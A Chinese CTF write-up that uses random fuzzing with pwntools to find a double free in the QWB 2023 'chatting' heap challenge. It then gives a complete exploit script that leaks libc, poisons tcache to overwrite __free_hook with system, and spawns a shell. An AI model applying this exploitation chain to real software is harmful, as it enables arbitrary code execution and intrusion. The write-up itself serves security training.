从fuzz视角看CTF堆题--qwb2023_chatting

前言

这个题目是一个c++的堆题,而我自己对于c++的一些内存分配不太了解,同时也不太会c++的逆向,硬看是没有办法了,所以就想能不能通过fuzz的角度去进行利用

fuzz

大概思路

函数选择

可以看到有add delete switch read listuser message6个操作,而凭感觉来说,listuser一般没什么效果,所以我这里主要fuzz其他五个函数
从fuzz视角看CTF堆题--qwb2023_chatting_第1张图片

交互

简单写一下交互

def add(name):
    sla(b"listuser, exit): ",b"add")
    sla(b"new username: ",name)

def free(name):
    sla(b"listuser, exit): ",b"delete")
    sla(b"to delete: ",name)
   

def message(username,size,data):
    sla(b"listuser, exit): ",b"message")
    sla(b"To: ",username)    
    sla(b"Message size: ",str(size))
    sla(b"Content: ",data)
def show():
    sla(b"listuser, exit): ",b"read")

def switch(user):
    sla(b"listuser, exit): ",b"switch")
    sla(b"o switch to: ",user)

参数

这里可以注意到,参数总共有3种,1 username,2 message的size,3 message的data
username这里我就简单一个random.choice(“abcdefgh”) 随机取值,大概范围就是8个值,样本范围不适合太大
size 这里我简单看了一下程序,里面有个分配0x60大小的堆,保存了用户的信息,然后我就想把message的size和这个用户的size构造一样,有可能会有uaf的问题

data 这里我就随便写了短的内容,最开始也没想过溢出,还是想fuzz double free这种问题

初步fuzz结构

下面是一个fuzz的例子,可以看到思路就很简单,随机执行操作,然后记录到log里面

def fuzz():
    f=open('log.txt','w')
    for i in range(0,0x1000):
        if i % 10 == 0:
           idx=randint(0,0x10)
           add(0x20,idx)
           f.write('add({},0x20)'.format(idx)+'\n')
        elif i % 2 == 0 :
           idx=randint(0,0x10)
           free(idx)
           f.write('delt({})'.format(idx)+'\n')
        elif i % 3 == 0 :
           idx=randint(0,0x10)
           show(idx)
           ru('>>: ')
           check_char=r(1)
           if check_char == '\x55' or check_char == '\x56':
              f.write('show({})'.format(idx)+'\n')
              break            
    f.close()

但是在做这个题目的时候遇到了其他的一些问题,不像之前fuzz其他题目一样,这个题目fuzz很容易报错,那么我们必须要进行一个异常的捕获

处理异常

处理异常这里坑还是比较多的,我就分别描述

无法获取程序异常返回结果

在交互里面,我们比较习惯写成sla,或者ru这种,他报错的时候不会返回给我们程序的报错内容,所以这里我通过阅读ru的实现,修改了一下代码,把程序的返回值放到Exception里面,然后我们就可以知道程序到底报了什么错,是double free呢,还是invalid pointer
从fuzz视角看CTF堆题--qwb2023_chatting_第2张图片

log记录问题

log里面少记录

按照前面提到的fuzz结构,增加异常处理后类似于下面的代码

def fuzz():
    f=open('log.txt','w')
    try:
        for i in range(0,0x1000):
            if i % 10 == 0:
                idx=randint(0,0x10)
                add(0x20,idx)
                f.write('add({},0x20)'.format(idx)+'\n')
            elif i % 2 == 0 :
                idx=randint(0,0x10)
                free(idx)
                f.write('delt({})'.format(idx)+'\n')
          
    except:
        pass
    finally:
        f.close()

这种写法,如果在执行流程里面比如说add里报了错,因为抛了异常导致这个操作会无法记录下来

log里面多记录

针对上面少记录的情况,可能我们会这样改

def fuzz():
    f=open('log.txt','w')
    try:
        for i in range(0,0x1000):
            if i % 10 == 0:
                idx=randint(0,0x10)
                tmp='add({},0x20)'.format(idx)+'\n'
                add(0x20,idx)
                f.write('add({},0x20)'.format(idx)+'\n')
            elif i % 2 == 0 :
                idx=randint(0,0x10)
                tmp='delt({},0x20)'.format(idx)+'\n'
                free(idx)
                f.write('delt({})'.format(idx)+'\n')
    except:
        f.write(tmp)
    finally:         
        f.close()

但是上面这种修改又会带来新的问题
我们add操作输入完username后程序抛了异常,但是这个时候不会在add这里结束,他还会执行到下一个流程,然后会在下一个流程的sla(b"listuser, exit")这里抛异常,然后我们就会多记录一个操作

最终解决方法

在这里,我们需要定义一个流程完整的生命周期
交互开始,从收到):代表我们流程的开始
截屏2023-12-24 12.02.57.png
交互结束,收到Choose action为止
截屏2023-12-24 12.03.30.png
这样定义后我们可以保证下一个流程能够正常的开始,就不会出上面提到的多记录的问题了,也就能够保证,当前流程抛出的异常一定是当前流程里执行某些操作引起的,而不是上一个流程遗留的异常
总共就是下面三个情况

  • 如果add中间出错了,那么flag=0,我们会在excpet里面记录
  • 如果ru报错,那么证明add完之后出现了问题,flag=0,也会记上
  • 如果本次add操作没有触发任何异常,那么也会记录在log里,同时也能够成功执行到下一次的操作,
def fuzz():
    global io
    io = process("./chatting")
    f=open("log.txt","w")
    try:
                for i in range(0,0x1000):
                    flag=0#防止在执行函数的时候报错
                    tmp=""
                    if i % 19 == 0:
                        name=random.choice("abcdefgh")
                        tmp=f'add("{name}")\n'
                        add(name)
                        ru('Choose action')
                        flag=1
                        f.write(tmp)
                    elif i%4==0:
                        name=random.choice("abcdefgh")
                        tmp=f'free("{name}")\n'
                        free(name)
                        ru('Choose action')
                        flag=1
                        f.write(tmp)
    except Exception as e:
                if flag==0:
                    f.write(tmp)
                if b"double free or corruption" not in e.args[0]:
                    return 0
                else:
                    print(e.args[0])
                    return 1
    finally:
            f.close()
            io.close()
                

按照上面的结构fuzz,一方面我们可以获取到程序的异常原因,另一个方面也可以不多不少的记录下来执行的操作

开始fuzz

保留所有结果的fuzz

这个fuzz里面保留了所有的结果

#!/usr/bin/python3
#  -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)





elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
    libc = ELF(f"{lib_path}/libc.so.6")
else:
    libc=elf.libc





def add(name):
    sla(b"listuser, exit): ",b"add")
    sla(b"new username: ",name)

def free(name):
    sla(b"listuser, exit): ",b"delete")
    sla(b"to delete: ",name)
   

def message(username,size,data):
    sla(b"listuser, exit): ",b"message")
    sla(b"To: ",username)    
    sla(b"Message size: ",str(size))
    sla(b"Content: ",data)
  

def show():
    sla(b"listuser, exit): ",b"read")

def switch(user):
    sla(b"listuser, exit): ",b"switch")
    sla(b"o switch to: ",user)
    
def fuzz():
    global io
    io = process("./chatting")
    sla(b"new username: ",b"a")
    f=open("log.txt","w")
    try:
                for i in range(0,0x1000):
                    flag=0#防止在执行函数的时候报错
                    tmp=""
                    if i % 19 == 0:
                        name=random.choice("abcdefgh")
                        tmp=f'add("{name}")\n'
                        add(name)
                        ru('Choose action')
                        flag=1
                        f.write(tmp)
                    elif i%4==0:
                        name=random.choice("abcdefgh")
                        tmp=f'free("{name}")\n'
                        free(name)
                        info =ru('Choose action')
                        flag=1
                        f.write(tmp)
                    elif i %4==1:
                        name=random.choice("abcdefgh")
                        tmp=f'message("{name}",0x58,"aa")\n'
                        message(name,0x58,"aa")
                        info =ru('Choose action')
                        flag=1
                        f.write(tmp)
                    elif i %4==2:
                        name=random.choice("abcdefgh")
                        tmp=f'switch("{name}")\n'
                        switch(name)
                        info =ru('Choose action')
                        flag=1
                        f.write(tmp)
                    elif i%4==3:
                        tmp='show()\n'
                        show()
                        info=ru(b"Choose action")
                        flag=1
                        if b"\x55" in info or b"\x56" in info  or b"\x7f" in info:
                            f.write(tmp)
                            f.write(f"#{info}\n") 
    except Exception as e:
        if flag==0:
            f.write(tmp)
        if b"double free or corruption" not in e.args[0]:
            return 0
        else:
            print(e.args[0])
            return 1
    finally:
        f.close()
        io.close()
                
 

while True:
    if fuzz()==1:
        print("sucess")
        exit(0)
    

方便的验证脚本

#!/usr/bin/python3
#  -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
    libc = ELF(f"{lib_path}/libc.so.6")
else:
    libc=elf.libc




def add(name):
    sla(b"): ",b"add")
    sla(b"new username: ",name)

def free(name):
    sla(b"): ",b"delete")
    sla(b"to delete: ",name)

def message(username,size,data):
    sla(b"): ",b"message")
    sla(b"To: ",username)
    sla(b"Message size: ",str(size))
    sla(b"Content: ",data)

def show():
    sla(b"): ",b"read")

def switch(user):
    sla(b"): ",b"switch")
    sla(b"o switch to: ",user)

io = process(parm)
sla(b"new username: ",b"a")
with open("log.txt","r" ) as f:
    for line in f.read().split("\n"):
        if  line=="" or line[0]=="#" :
            pass
        else:
            eval(line)

it()

去掉一些无用操作的fuzz

fuzz里会有一些无用操作,比如说我们free一个不存在的index的结构体,那么他会提示not found,同时实际上他也没有影响堆布局等,这些可以忽略的
先调整一下delete

                    	name=random.choice("abcdefgh")
                        tmp=f'free("{name}")\n'
                        free(name)
                        info =ru('Choose action')
                        flag=1
                        if b"not found!" in info:
                             continue
                        f.write(tmp)

调整一下switch

                    	name=random.choice("abcdefgh")
                        tmp=f'switch("{name}")\n'
                        switch(name)
                        info =ru('Choose action')
                        flag=1
                        if b"not found!" in info:
                             continue
                        f.write(tmp)

经过测试发现,虽然message会报Recipient not found!的错误,但是我们不能把他过滤,实际上他还是做了对应的操作的,下面是代码部分
从fuzz视角看CTF堆题--qwb2023_chatting_第3张图片
那从纯fuzz的角度来说呢,我们就是一个个试,看看哪些是可以忽略,哪些不能忽略
如果我们保存log的时候忽略了一些看起来没有效果的操作,但是实际上这些操作可能影响了堆布局,我们在复现log里面保存的payload的时候就会无法触发异常
所以本次经过测试,show delete switch操作可以忽略一些无效的操作,但是message不行

#!/usr/bin/python3
#  -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)





elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
    libc = ELF(f"{lib_path}/libc.so.6")
else:
    libc=elf.libc





def add(name):
    sla(b"listuser, exit): ",b"add")
    sla(b"new username: ",name)

def free(name):
    sla(b"listuser, exit): ",b"delete")
    sla(b"to delete: ",name)
   

def message(username,size,data):
    sla(b"listuser, exit): ",b"message")
    sla(b"To: ",username)    
    sla(b"Message size: ",str(size))
    sla(b"Content: ",data)
  

def show():
    sla(b"listuser, exit): ",b"read")

def switch(user):
    sla(b"listuser, exit): ",b"switch")
    sla(b"o switch to: ",user)
    
def fuzz():
    global io
    io = process("./chatting")
    sla(b"new username: ",b"a")
    f=open("log.txt","w")
    try:
                for i in range(0,0x1000):
                    flag=0#防止在执行函数的时候报错
                    tmp=""
                    if i % 19 == 0:
                        name=random.choice("abcdefgh")
                        tmp=f'add("{name}")\n'
                        add(name)
                        ru('Choose action')
                        flag=1
                        f.write(tmp)
                    elif i%4==0:
                        name=random.choice("abcdefgh")
                        tmp=f'free("{name}")\n'
                        free(name)
                        info =ru('Choose action')
                        flag=1
                        if b"not found!" in info:
                             continue
                        f.write(tmp)
                    elif i %4==1:
                        name=random.choice("abcdefgh")
                        tmp=f'message("{name}",0x58,"")\n'
                        message(name,0x58,"")
                        info =ru('Choose action')
                        flag=1
                        f.write(tmp)
                    elif i %4==2:
                        name=random.choice("abcdefgh")
                        tmp=f'switch("{name}")\n'
                        switch(name)
                        info =ru('Choose action')
                        flag=1
                        if b"not found!" in info:
                             continue
                        f.write(tmp)
                    elif i%4==3:
                        tmp='show()\n'
                        show()
                        info=ru(b"Choose action")
                        flag=1
                        if b"\x55" in info or b"\x56" in info or b"\x7f" in info :
                            f.write(tmp)
                            f.write(f"#{info}\n") 

    except Exception as e:
        if flag==0:
            f.write(tmp)
        if b"double free or corruption" not in e.args[0]:
            return 0
        else:
            print(e.args[0])
            return 1
    finally:
        f.close()
        io.close()
                
 

while True:
    if fuzz()==1:
        print("sucess")
        exit(0)
    


                        

结果

add("b")
message("g",0x58,"")
switch("b")
message("a",0x58,"")
switch("a")
message("c",0x58,"")
message("e",0x58,"")
switch("a")
message("b",0x58,"")
add("b")
message("d",0x58,"")
switch("b")
free("a")
message("c",0x58,"")
switch("b")
message("a",0x58,"")
free("b")
message("d",0x58,"")
message("e",0x58,"")
add("e")
message("h",0x58,"")
message("e",0x58,"")
switch("e")
message("g",0x58,"")
message("e",0x58,"")
switch("b")
add("g")
message("c",0x58,"")
switch("g")
free("b")
message("d",0x58,"")
switch("e")
show()
#b'e -> e: \n\xbc\xd1\xcb\xa8\x7f\nDone\nChoose action'
message("d",0x58,"")
show()
#b'e -> e: \n\xbc\xd1\xcb\xa8\x7f\nDone\nChoose action'
message("g",0x58,"")
show()
#b'e -> e: \n\xbc\xd1\xcb\xa8\x7f\nDone\nChoose action'
add("e")
message("h",0x58,"")
switch("g")
free("g")
message("b",0x58,"")
message("f",0x58,"")
message("h",0x58,"")
free("e")
message("e",0x58,"")
add("e")
message("e",0x58,"")
free("e")
message("a",0x58,"")
switch("e")
show()
#b'e -> e: \n\xd4p\xaf\x97U\nDone\nChoose action'
message("e",0x58,"")
show()
#b'e -> e: \n\xd4p\xaf\x97U\nDone\nChoose action'
message("f",0x58,"")
show()
#b'e -> e: \n\xd4p\xaf\x97U\nDone\nChoose action'
message("h",0x58,"")
add("d")
message("c",0x58,"")
message("b",0x58,"")
message("c",0x58,"")
message("c",0x58,"")
add("c")

修改payload

当我们去掉最后一个的时候可以发现这里已经double free了,那么我们只需要按照正常操作,去写free_hook即可
image.png

message("c",0x58,p64(libc_base+libc.sym["__free_hook"]))
message("c",0x58,"")
message("c",0x58,"a")
message("e",0x58,"/bin/sh\0")
message("f",0x58,p64(libc_base+libc.sym['system']))

最后发现add会free message,直接rce

all payload

#!/usr/bin/python3
#  -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
    libc = ELF(f"{lib_path}/libc.so.6")
else:
    libc=elf.libc




def add(name):
    sla(b"): ",b"add")
    sla(b"new username: ",name)

def free(name):
    sla(b"): ",b"delete")
    sla(b"to delete: ",name)

def message(username,size,data):
    sla(b"): ",b"message")
    sla(b"To: ",username)
    sla(b"Message size: ",str(size))
    sla(b"Content: ",data)

def show():
    sla(b"): ",b"read")

def switch(user):
    sla(b"): ",b"switch")
    sla(b"o switch to: ",user)

io = process("./chatting")
sla(b"new username: ",b"a")


add("b")
message("g",0x58,"")
switch("b")
message("a",0x58,"")
switch("a")
message("c",0x58,"")
message("e",0x58,"")
switch("a")
message("b",0x58,"")
add("b")
message("d",0x58,"")
switch("b")
free("a")
message("c",0x58,"")
switch("b")
message("a",0x58,"")
free("b")
message("d",0x58,"")
message("e",0x58,"")
add("e")
message("h",0x58,"")
message("e",0x58,"")
switch("e")
message("g",0x58,"")
message("e",0x58,"")
switch("b")
add("g")
message("c",0x58,"")
switch("g")
free("b")
message("d",0x58,"")
switch("e")
message("d",0x58,"")
message("g",0x58,"")
show()
libc_base=u64(ru(b"\x7f")[-6:].ljust(8,b"\0"))-0x3ebc0a
add("e")
message("h",0x58,"")
switch("g")
free("g")
message("b",0x58,"")
message("f",0x58,"")
message("h",0x58,"")
free("e")
message("e",0x58,"")
add("e")
message("e",0x58,"")
free("e")
message("a",0x58,"")
switch("e")
message("e",0x58,"")
message("f",0x58,"")
message("h",0x58,"")
add("e")
message("c",0x58,"")
message("b",0x58,"")
message("c",0x58,"")
message("c",0x58,"")
message("c",0x58,p64(libc_base+libc.sym["__free_hook"]))
message("c",0x58,"")
message("c",0x58,"a")
message("e",0x58,"/bin/sh\0")
message("f",0x58,p64(libc_base+libc.sym['system']))
add("c")
it()

总结

  • 注意异常处理部分
  • 注意每一个流程完整的生命周期,防止当前流程触发的异常实际是上一个操作的
  • 不要随意忽视看起来没有效果的操作,除非能保证去除那些操作之后不影响fuzz的结果,或者说除非我们从代码层面能够保证实际是没有效果的

你可能感兴趣的:(java,开发语言)